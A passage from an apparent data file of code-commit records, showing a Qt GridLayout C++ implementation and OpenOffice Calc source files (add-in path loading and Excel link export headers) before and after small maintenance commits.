value)\n{\n    Q_D(GridLayout);\n    if (d->mRowCount != value)\n    {\n        d->mRowCount = value;\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nint GridLayout::columnCount() const\n{\n    Q_D(const GridLayout);\n    return d->mColumnCount;\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setColumnCount(int value)\n{\n    Q_D(GridLayout);\n    if (d->mColumnCount != value)\n    {\n        d->mColumnCount = value;\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nGridLayout::Direction GridLayout::direction() const\n{\n    Q_D(const GridLayout);\n    return d->mDirection;\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setDirection(GridLayout::Direction value)\n{\n    Q_D(GridLayout);\n    if (d->mDirection != value)\n    {\n        d->mDirection = value;\n        invalidate();\n    }\n}\n\n\/************************************************\n\n ************************************************\/\nGridLayout::Stretch GridLayout::stretch() const\n{\n    Q_D(const GridLayout);\n    return d->mStretch;\n}\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setStretch(Stretch value)\n{\n    Q_D(GridLayout);\n    if (d->mStretch != value)\n    {\n        d->mStretch = value;\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::moveItem(int from, int to, bool withAnimation \/*= false*\/)\n{\n    Q_D(GridLayout);\n    d->mAnimate = withAnimation;\n    d->mItems.move(from, to);\n    invalidate();\n}\n\n\n\/************************************************\n\n ************************************************\/\nQSize GridLayout::cellMinimumSize() const\n{\n    Q_D(const GridLayout);\n    return d->mPrefCellMinSize;\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellMinimumSize(QSize minSize)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMinSize != minSize)\n    {\n        d->mPrefCellMinSize = minSize;\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellMinimumHeight(int value)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMinSize.height() != value)\n    {\n        d->mPrefCellMinSize.setHeight(value);\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellMinimumWidth(int value)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMinSize.width() != value)\n    {\n        d->mPrefCellMinSize.setWidth(value);\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nQSize GridLayout::cellMaximumSize() const\n{\n    Q_D(const GridLayout);\n    return d->mPrefCellMaxSize;\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellMaximumSize(QSize maxSize)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMaxSize != maxSize)\n    {\n        d->mPrefCellMaxSize = maxSize;\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellMaximumHeight(int value)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMaxSize.height() != value)\n    {\n        d->mPrefCellMaxSize.setHeight(value);\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellMaximumWidth(int value)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMaxSize.width() != value)\n    {\n        d->mPrefCellMaxSize.setWidth(value);\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellFixedSize(QSize size)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMinSize != size ||\n        d->mPrefCellMaxSize != size)\n    {\n        d->mPrefCellMinSize = size;\n        d->mPrefCellMaxSize = size;\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellFixedHeight(int value)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMinSize.height() != value ||\n        d->mPrefCellMaxSize.height() != value)\n    {\n        d->mPrefCellMinSize.setHeight(value);\n        d->mPrefCellMaxSize.setHeight(value);\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellFixedWidth(int value)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMinSize.width() != value ||\n        d->mPrefCellMaxSize.width() != value)\n    {\n        d->mPrefCellMinSize.setWidth(value);\n        d->mPrefCellMaxSize.setWidth(value);\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nQSize GridLayout::sizeHint() const\n{\n    Q_D(const GridLayout);\n\n    if (!d->mIsValid)\n        const_cast<GridLayoutPrivate*>(d)->updateCache();\n\n    return QSize(d->cols() * d->mCellSizeHint.width(),\n                 d->rows() * d->mCellSizeHint.height());\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setGeometry(const QRect &geometry)\n{\n    Q_D(GridLayout);\n\n    QLayout::setGeometry(geometry);\n    d->mOccupiedGeometry.setTopLeft(geometry.topLeft());\n    d->mOccupiedGeometry.setBottomRight(geometry.topLeft());\n\n    if (!d->mIsValid)\n        d->updateCache();\n\n    int y = geometry.top();\n    int x = geometry.left();\n\n    \/\/ For historical reasons QRect::right returns left() + width() - 1\n    \/\/ and QRect::bottom() returns top() + height() - 1;\n    \/\/ So we use left() + height() and top() + height()\n    \/\/\n    \/\/ http:\/\/qt-project.org\/doc\/qt-4.8\/qrect.html\n\n    const int maxX = geometry.left() + geometry.width();\n    const int maxY = geometry.top() + geometry.height();\n\n    const bool stretch_h = d->mStretch.testFlag(StretchHorizontal);\n    const bool stretch_v = d->mStretch.testFlag(StretchVertical);\n\n    const int cols = d->cols();\n    int itemWidth = 0;\n    if (stretch_h && 0 < cols)\n        itemWidth = qMin(geometry.width() \/ cols, d->mCellMaxSize.width());\n    else\n        itemWidth = d->mCellSizeHint.width();\n    itemWidth = qBound(qMin(d->mPrefCellMinSize.width(), maxX), itemWidth, d->mPrefCellMaxSize.width());\n    const int widthRemain = stretch_h && 0 < itemWidth ? geometry.width() % itemWidth : 0;\n\n    const int rows = d->rows();\n    int itemHeight = 0;\n    if (stretch_v && 0 < rows)\n        itemHeight = qMin(geometry.height() \/ rows, d->mCellMaxSize.height());\n    else\n        itemHeight = d->mCellSizeHint.height();\n    itemHeight = qBound(qMin(d->mPrefCellMinSize.height(), maxY), itemHeight, d->mPrefCellMaxSize.height());\n    const int heightRemain = stretch_v && 0 < itemHeight ? geometry.height() % itemHeight : 0;\n\n#if 0\n    qDebug() << \"** GridLayout::setGeometry *******************************\";\n    qDebug() << \"Geometry:\" << geometry;\n    qDebug() << \"CellSize:\" << d->mCellSizeHint;\n    qDebug() << \"Constraints:\" << \"min\" << d->mPrefCellMinSize << \"max\" << d->mPrefCellMaxSize;\n    qDebug() << \"Count\" << count();\n    qDebug() << \"Cols:\" << d->cols() << \"(\" << d->mColumnCount << \")\";\n    qDebug() << \"Rows:\" << d->rows() << \"(\" << d->mRowCount << \")\";\n    qDebug() << \"Stretch:\" << \"h:\" << (d->mStretch.testFlag(StretchHorizontal)) << \" v:\" << (d->mStretch.testFlag(StretchVertical));\n    qDebug() << \"Item:\" << \"h:\" << itemHeight << \" w:\" << itemWidth;\n#endif\n\n    int remain_height = heightRemain;\n    int remain_width = widthRemain;\n    if (d->mDirection == LeftToRight)\n    {\n        int height = itemHeight + (0 < remain_height-- ? 1 : 0);\n        foreach(QLayoutItem *item, d->mItems)\n        {\n            if (!item->widget() || item->widget()->isHidden())\n                continue;\n            int width = itemWidth + (0 < remain_width-- ? 1 : 0);\n\n            if (x + width > maxX)\n            {\n                x = geometry.left();\n                y += height;\n\n                height = itemHeight + (0 < remain_height-- ? 1 : 0);\n                remain_width = widthRemain;\n            }\n\n            d->setItemGeometry(item, QRect(x, y, width, height));\n            x += width;\n        }\n    }\n    else\n    {\n        int width = itemWidth + (0 < remain_width-- ? 1 : 0);\n        foreach(QLayoutItem *item, d->mItems)\n        {\n            if (!item->widget() || item->widget()->isHidden())\n                continue;\n            int height = itemHeight + (0 < remain_height-- ? 1 : 0);\n\n            if (y + height > maxY)\n            {\n                y = geometry.top();\n                x += width;\n\n                width = itemWidth + (0 < remain_width-- ? 1 : 0);\n                remain_height = heightRemain;\n            }\n            d->setItemGeometry(item, QRect(x, y, width, height));\n            y += height;\n        }\n    }\n    d->mAnimate = false;\n}\n\n\/************************************************\n\n ************************************************\/\nQRect GridLayout::occupiedGeometry() const\n{\n    return d_func()->mOccupiedGeometry;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: globalx.cxx,v $\n *\n *  $Revision: 1.9 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 18:26:23 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\n#include \"callform.hxx\"\n#include \"global.hxx\"\n\n#ifndef _URLOBJ_HXX\n#include <tools\/urlobj.hxx>\n#endif\n#ifndef _UCBHELPER_CONTENTBROKER_HXX\n#include <ucbhelper\/contentbroker.hxx>\n#endif\n#ifndef _UCBHELPER_CONTENT_HXX\n#include <ucbhelper\/content.hxx>\n#endif\n#ifndef _UNOTOOLS_LOCALFILEHELPER_HXX\n#include <unotools\/localfilehelper.hxx>\n#endif\n\n#include <tools\/debug.hxx>\n#include <svtools\/pathoptions.hxx>\n\n#include <com\/sun\/star\/sdbc\/XResultSet.hpp>\n#include <com\/sun\/star\/sdbc\/XRow.hpp>\n#include <com\/sun\/star\/ucb\/XCommandEnvironment.hpp>\n#include <com\/sun\/star\/ucb\/XContentAccess.hpp>\n\n#pragma hdrstop\n\nusing namespace ::com::sun::star;\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::ucb;\n\n\n\/\/ static\nvoid ScGlobal::InitAddIns()\n{\n    \/\/ multi paths separated by semicolons\n    SvtPathOptions aPathOpt;\n    String aMultiPath = aPathOpt.GetAddinPath();\n    if ( aMultiPath.Len() > 0 )\n    {\n        xub_StrLen nTokens = aMultiPath.GetTokenCount( ';' );\n        xub_StrLen nIndex = 0;\n        for ( xub_StrLen j=0; j<nTokens; j++ )\n        {\n            String aPath( aMultiPath.GetToken( 0, ';', nIndex ) );\n            if ( aPath.Len() > 0 )\n            {\n                \/\/  use LocalFileHelper to convert the path to a URL that always points\n                \/\/  to the file on the server\n                String aUrl;\n                if ( utl::LocalFileHelper::ConvertPhysicalNameToURL( aPath, aUrl ) )\n                    aPath = aUrl;\n\n                INetURLObject aObj;\n                aObj.SetSmartURL( aPath );\n                aObj.setFinalSlash();\n                try\n                {\n                    ::ucb::Content aCnt( aObj.GetMainURL(INetURLObject::NO_DECODE),\n                        Reference< XCommandEnvironment > () );\n                    Reference< sdbc::XResultSet > xResultSet;\n                    Sequence< rtl::OUString > aProps;\n                    try\n                    {\n                        xResultSet = aCnt.createCursor(\n                            aProps, ::ucb::INCLUDE_DOCUMENTS_ONLY );\n                    }\n                    catch ( Exception& )\n                    {\n                        \/\/ ucb may throw different exceptions on failure now\n                        \/\/ no assertion if AddIn directory doesn't exist\n                    }\n\n                    if ( xResultSet.is() )\n                    {\n                        Reference< sdbc::XRow > xRow( xResultSet, UNO_QUERY );\n                        Reference< XContentAccess >\n                            xContentAccess( xResultSet, UNO_QUERY );\n                        try\n                        {\n                            if ( xResultSet->first() )\n                            {\n                                do\n                                {\n#if SUPD>611\n                                    rtl::OUString aId( xContentAccess->queryContentIdentifierString() );\n#else\n                                    rtl::OUString aId( xContentAccess->queryContentIdentfierString() );\n#endif\n                                    InitExternalFunc( aId );\n                                }\n                                while ( xResultSet->next() );\n                            }\n                        }\n                        catch ( Exception& )\n                        {\n                            DBG_ERRORFILE( \"ResultSetException catched!\" );\n                        }\n                    }\n                }\n                catch ( Exception& )\n                {\n                    DBG_ERRORFILE( \"Exception catched!\" );\n                }\n                catch ( ... )\n                {\n\n                    DBG_ERRORFILE( \"unexpected exception caught!\" );\n                }\n            }\n        }\n    }\n}\n\n\n\n<commit_msg>INTEGRATION: CWS pchfix01 (1.9.216); FILE MERGED 2006\/07\/12 10:01:34 kaib 1.9.216.1: #i67080# Converted cxx files in sc, added initial project level pch and stripped old PCH definitions.<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: globalx.cxx,v $\n *\n *  $Revision: 1.10 $\n *\n *  last change: $Author: kz $ $Date: 2006-07-21 11:05:48 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sc.hxx\"\n\n\n#include \"callform.hxx\"\n#include \"global.hxx\"\n\n#ifndef _URLOBJ_HXX\n#include <tools\/urlobj.hxx>\n#endif\n#ifndef _UCBHELPER_CONTENTBROKER_HXX\n#include <ucbhelper\/contentbroker.hxx>\n#endif\n#ifndef _UCBHELPER_CONTENT_HXX\n#include <ucbhelper\/content.hxx>\n#endif\n#ifndef _UNOTOOLS_LOCALFILEHELPER_HXX\n#include <unotools\/localfilehelper.hxx>\n#endif\n\n#include <tools\/debug.hxx>\n#include <svtools\/pathoptions.hxx>\n\n#include <com\/sun\/star\/sdbc\/XResultSet.hpp>\n#include <com\/sun\/star\/sdbc\/XRow.hpp>\n#include <com\/sun\/star\/ucb\/XCommandEnvironment.hpp>\n#include <com\/sun\/star\/ucb\/XContentAccess.hpp>\n\n\nusing namespace ::com::sun::star;\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::ucb;\n\n\n\/\/ static\nvoid ScGlobal::InitAddIns()\n{\n    \/\/ multi paths separated by semicolons\n    SvtPathOptions aPathOpt;\n    String aMultiPath = aPathOpt.GetAddinPath();\n    if ( aMultiPath.Len() > 0 )\n    {\n        xub_StrLen nTokens = aMultiPath.GetTokenCount( ';' );\n        xub_StrLen nIndex = 0;\n        for ( xub_StrLen j=0; j<nTokens; j++ )\n        {\n            String aPath( aMultiPath.GetToken( 0, ';', nIndex ) );\n            if ( aPath.Len() > 0 )\n            {\n                \/\/  use LocalFileHelper to convert the path to a URL that always points\n                \/\/  to the file on the server\n                String aUrl;\n                if ( utl::LocalFileHelper::ConvertPhysicalNameToURL( aPath, aUrl ) )\n                    aPath = aUrl;\n\n                INetURLObject aObj;\n                aObj.SetSmartURL( aPath );\n                aObj.setFinalSlash();\n                try\n                {\n                    ::ucb::Content aCnt( aObj.GetMainURL(INetURLObject::NO_DECODE),\n                        Reference< XCommandEnvironment > () );\n                    Reference< sdbc::XResultSet > xResultSet;\n                    Sequence< rtl::OUString > aProps;\n                    try\n                    {\n                        xResultSet = aCnt.createCursor(\n                            aProps, ::ucb::INCLUDE_DOCUMENTS_ONLY );\n                    }\n                    catch ( Exception& )\n                    {\n                        \/\/ ucb may throw different exceptions on failure now\n                        \/\/ no assertion if AddIn directory doesn't exist\n                    }\n\n                    if ( xResultSet.is() )\n                    {\n                        Reference< sdbc::XRow > xRow( xResultSet, UNO_QUERY );\n                        Reference< XContentAccess >\n                            xContentAccess( xResultSet, UNO_QUERY );\n                        try\n                        {\n                            if ( xResultSet->first() )\n                            {\n                                do\n                                {\n#if SUPD>611\n                                    rtl::OUString aId( xContentAccess->queryContentIdentifierString() );\n#else\n                                    rtl::OUString aId( xContentAccess->queryContentIdentfierString() );\n#endif\n                                    InitExternalFunc( aId );\n                                }\n                                while ( xResultSet->next() );\n                            }\n                        }\n                        catch ( Exception& )\n                        {\n                            DBG_ERRORFILE( \"ResultSetException catched!\" );\n                        }\n                    }\n                }\n                catch ( Exception& )\n                {\n                    DBG_ERRORFILE( \"Exception catched!\" );\n                }\n                catch ( ... )\n                {\n\n                    DBG_ERRORFILE( \"unexpected exception caught!\" );\n                }\n            }\n        }\n    }\n}\n\n\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Antialiasing on Grid<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: xelink.hxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: rt $ $Date: 2004-03-02 09:43:22 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SC_XELINK_HXX\n#define SC_XELINK_HXX\n\n#ifndef SC_MARKDATA_HXX\n#include \"markdata.hxx\"\n#endif\n\n#ifndef SC_XLLINK_HXX\n#include \"xllink.hxx\"\n#endif\n#ifndef SC_XEHELPER_HXX\n#include \"xehelper.hxx\"\n#endif\n#ifndef SC_XERECORD_HXX\n#include \"xerecord.hxx\"\n#endif\n\nclass ScRange;\nstruct SingleRefData;\n\n\n\/* ============================================================================\nClasses for export of different kinds of internal\/external references.\n- 3D cell and cell range links\n- External cell and cell range links\n- Internal and external defined names\n- Add-in functions\n- DDE links\n- OLE object links\n============================================================================ *\/\n\n\/\/ Excel sheet indexes ========================================================\n\ntypedef ::std::pair< sal_uInt16, sal_uInt16 >   XclExpRefLogEntry;\ntypedef ::std::vector< XclExpRefLogEntry >      XclExpRefLogVec;\n\n\/** Stores the correct Excel sheet index for each Calc sheet.\n    @descr  The class knows all sheets which will not exported\n    (i.e. external link sheets, scenario sheets). *\/\nclass XclExpTabInfo\n{\npublic:\n    \/** Initializes the complete buffer from the current exported document. *\/\n    explicit                    XclExpTabInfo( const XclExpRoot& rRoot );\n\n    \/** Returns true, if the specified Calc sheet will be exported. *\/\n    bool                        IsExportTab( USHORT nScTab ) const;\n    \/** Returns true, if the specified Calc sheet is used to store external cell contents. *\/\n    bool                        IsExternalTab( USHORT nScTab ) const;\n    \/** Returns true, if the specified Calc sheet is visible and will be exported. *\/\n    bool                        IsVisibleTab( USHORT nScTab ) const;\n    \/** Returns true, if the specified Calc sheet is selected and will be exported. *\/\n    bool                        IsSelectedTab( USHORT nScTab ) const;\n    \/** Returns true, if the specified Calc sheet is the active displayed sheet. *\/\n    bool                        IsActiveTab( USHORT nScTab ) const;\n\n    \/** Returns the Excel sheet index for a given Calc sheet. *\/\n    sal_uInt16                  GetXclTab( USHORT nScTab ) const;\n\n    \/** Returns the Calc sheet index of the nSortedTab-th entry in the sorted sheet names list. *\/\n    USHORT                      GetRealScTab( USHORT nSortedTab ) const;\n    \/** Returns the index of the passed Calc sheet in the sorted sheet names list. *\/\n    USHORT                      GetSortedScTab( USHORT nScTab ) const;\n\n    \/** Returns the number of Calc sheets. *\/\n    inline USHORT               GetScTabCount() const { return mnScCnt; }\n\n    \/** Returns the number of Excel sheets to be exported. *\/\n    inline sal_uInt16           GetXclTabCount() const { return mnXclCnt; }\n    \/** Returns the number of external linked sheets. *\/\n    inline sal_uInt16           GetXclExtTabCount() const { return mnXclExtCnt; }\n    \/** Returns the number of codepages (VBA modules). *\/\n    inline sal_uInt16           GetXclCodenameCount() const { return mnXclCodeCnt; }\n    \/** Returns the number of exported selected sheets. *\/\n    inline sal_uInt16           GetXclSelectedCount() const { return mnXclSelected; }\n\n    \/** Returns the Excel index of the active, displayed sheet. *\/\n    inline sal_uInt16           GetXclActiveTab() const { return mnXclActive; }\n    \/** Returns the Excel index of the first visible sheet. *\/\n    inline sal_uInt16           GetXclFirstVisTab() const { return mnXclFirstVis; }\n\n    \/\/ *** for change tracking ***\n\n    \/** Enables logging of Excel sheet indexes in each 3D-reference. *\/\n    void                        StartRefLog();\n    \/** Appends sheet index pair (called by formula compiler). *\/\n    void                        AppendTabRef( sal_uInt16 nXclFirst, sal_uInt16 nXclLast );\n    \/** Disables logging of Excel sheet indexes. *\/\n    const XclExpRefLogVec&      EndRefLog();\n\nprivate:\n    \/** Returns true, if any of the passed flags is set for the specified Calc sheet. *\/\n    bool                        GetFlag( USHORT nScTab, sal_uInt8 nFlags ) const;\n    \/** Sets or clears (depending on bSet) all passed flags for the specified Calc sheet. *\/\n    void                        SetFlag( USHORT nScTab, sal_uInt8 nFlags, bool bSet = true );\n\n    \/** Searches for sheets not to be exported. *\/\n    void                        CalcXclIndexes();\n    \/** Sorts the names of all tables and stores the indexes of the sorted indexes. *\/\n    void                        CalcSortedIndexes( ScDocument& rDoc );\n\nprivate:\n    typedef ::std::pair< sal_uInt16, sal_uInt8 >    ScTabInfoEntry;\n    typedef ::std::vector< ScTabInfoEntry >         ScTabInfoVec;\n\n    ScTabInfoVec                maTabInfoVec;       \/\/\/ Array of Calc sheet index information.\n\n    USHORT                      mnScCnt;            \/\/\/ Count of Calc sheets.\n    sal_uInt16                  mnXclCnt;           \/\/\/ Count of Excel sheets to be exported.\n    sal_uInt16                  mnXclExtCnt;        \/\/\/ Count of external link sheets.\n    sal_uInt16                  mnXclCodeCnt;       \/\/\/ Count of codepages.\n    sal_uInt16                  mnXclSelected;      \/\/\/ Count of selected and exported sheets.\n    sal_uInt16                  mnXclActive;        \/\/\/ Active (selected) sheet.\n    sal_uInt16                  mnXclFirstVis;      \/\/\/ First visible sheet.\n\n    ScfUInt16Vec                maFromSortedVec;    \/\/\/ Sorted index -> real index.\n    ScfUInt16Vec                maToSortedVec;      \/\/\/ Real index -> sorted index.\n\n    XclExpRefLogVec             maRefLog;           \/\/\/ A log for each requested Excel sheet index.\n    bool                        mbEnableLog;        \/\/\/ true = log all sheet indexes (for formula compiler).\n};\n\n\n\/\/ Export link manager ========================================================\n\nclass XclExpLinkManager_Impl;\n\n\/** Stores all data for internal\/external references (the link table).\n    @descr  Contents in BIFF8:\n    - Record SUPBOOK: Contains the name of an external workbook and the names of its sheets.\n        This record is followed by EXTERNNAME, XCT and CRN records.\n    - Record XCT: Contains the sheet index of the following CRN records.\n    - Record CRN: Contains addresses (row and column) and values of external referenced cells.\n    - Record NAME: Contains defined names of the own workbook. This record follows the\n        EXTERNSHEET record.\n    - Record EXTERNNAME: Contains external defined names or DDE links or OLE object links.\n    - Record EXTERNSHEET: Contains indexes to URLs of external documents (SUPBOOKs)\n        and sheet indexes for each external reference used anywhere in the workbook.\n        This record follows a list of SUPBOOK records (it is the last record of the link table).\n*\/\nclass XclExpLinkManager : public XclExpRecordBase\n{\npublic:\n    explicit                    XclExpLinkManager( const XclExpRoot& rRoot );\n    virtual                     ~XclExpLinkManager();\n\n    \/** Searches for XTI structure with the given Excel sheet range. Adds new XTI if not found.\n        @return  The list index of the XTI structure. *\/\n    sal_uInt16                  FindXti( sal_uInt16 nXclFirst, sal_uInt16 nXclLast );\n\n    \/** Returns the external document URL of the specified Excel sheet. *\/\n    const XclExpString*         GetUrl( sal_uInt16 nXclTab ) const;\n    \/** Returns the external sheet name of the specified Excel sheet. *\/\n    const XclExpString*         GetTabName( sal_uInt16 nXclTab ) const;\n\n    \/** Stores the cell with the given address in a CRN record list. *\/\n    void                        StoreCell( const SingleRefData& rRef );\n    \/** Stores all cells in the given range in a CRN record list. *\/\n    void                        StoreCellRange( const SingleRefData& rRef1, const SingleRefData& rRef2 );\n\n    \/** Finds or inserts an EXTERNNAME record for an add-in function name.\n        @param rnXti  Returns the index of the XTI structure which contains the add-in function name.\n        @param rnExtName  Returns the 1-based EXTERNNAME record index. *\/\n    void                        InsertAddIn(\n                                    sal_uInt16& rnXti, sal_uInt16& rnExtName,\n                                    const String& rName );\n    \/** Finds or inserts an EXTERNNAME record for DDE links.\n        @param rnXti  Returns the index of the XTI structure which contains the DDE link.\n        @param rnExtName  Returns the 1-based EXTERNNAME record index. *\/\n    bool                        InsertDde(\n                                    sal_uInt16& rnXti, sal_uInt16& rnExtName,\n                                    const String& rApplic, const String& rTopic, const String& rItem );\n\n    \/** Writes the entire Link table. *\/\n    virtual void                Save( XclExpStream& rStrm );\n\nprivate:\n    typedef ::std::auto_ptr< XclExpLinkManager_Impl > XclExpLinkManager_ImplPtr;\n    XclExpLinkManager_ImplPtr   mpImpl;\n};\n\n\n\/\/ ============================================================================\n\n#endif\n\n<commit_msg>INTEGRATION: CWS rowlimit (1.6.18); FILE MERGED 2004\/03\/19 17:10:44 er 1.6.18.3: #i1967# type correctness 2004\/03\/19 13:47:11 er 1.6.18.2: #i1967# type correctness 2004\/03\/19 12:15:36 jmarmion 1.6.18.1: #i1967# step 5 changes.<commit_after>\/*************************************************************************\n *\n *  $RCSfile: xelink.hxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: obo $ $Date: 2004-06-04 10:59:08 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SC_XELINK_HXX\n#define SC_XELINK_HXX\n\n#ifndef SC_MARKDATA_HXX\n#include \"markdata.hxx\"\n#endif\n\n#ifndef SC_XLLINK_HXX\n#include \"xllink.hxx\"\n#endif\n#ifndef SC_XEHELPER_HXX\n#include \"xehelper.hxx\"\n#endif\n#ifndef 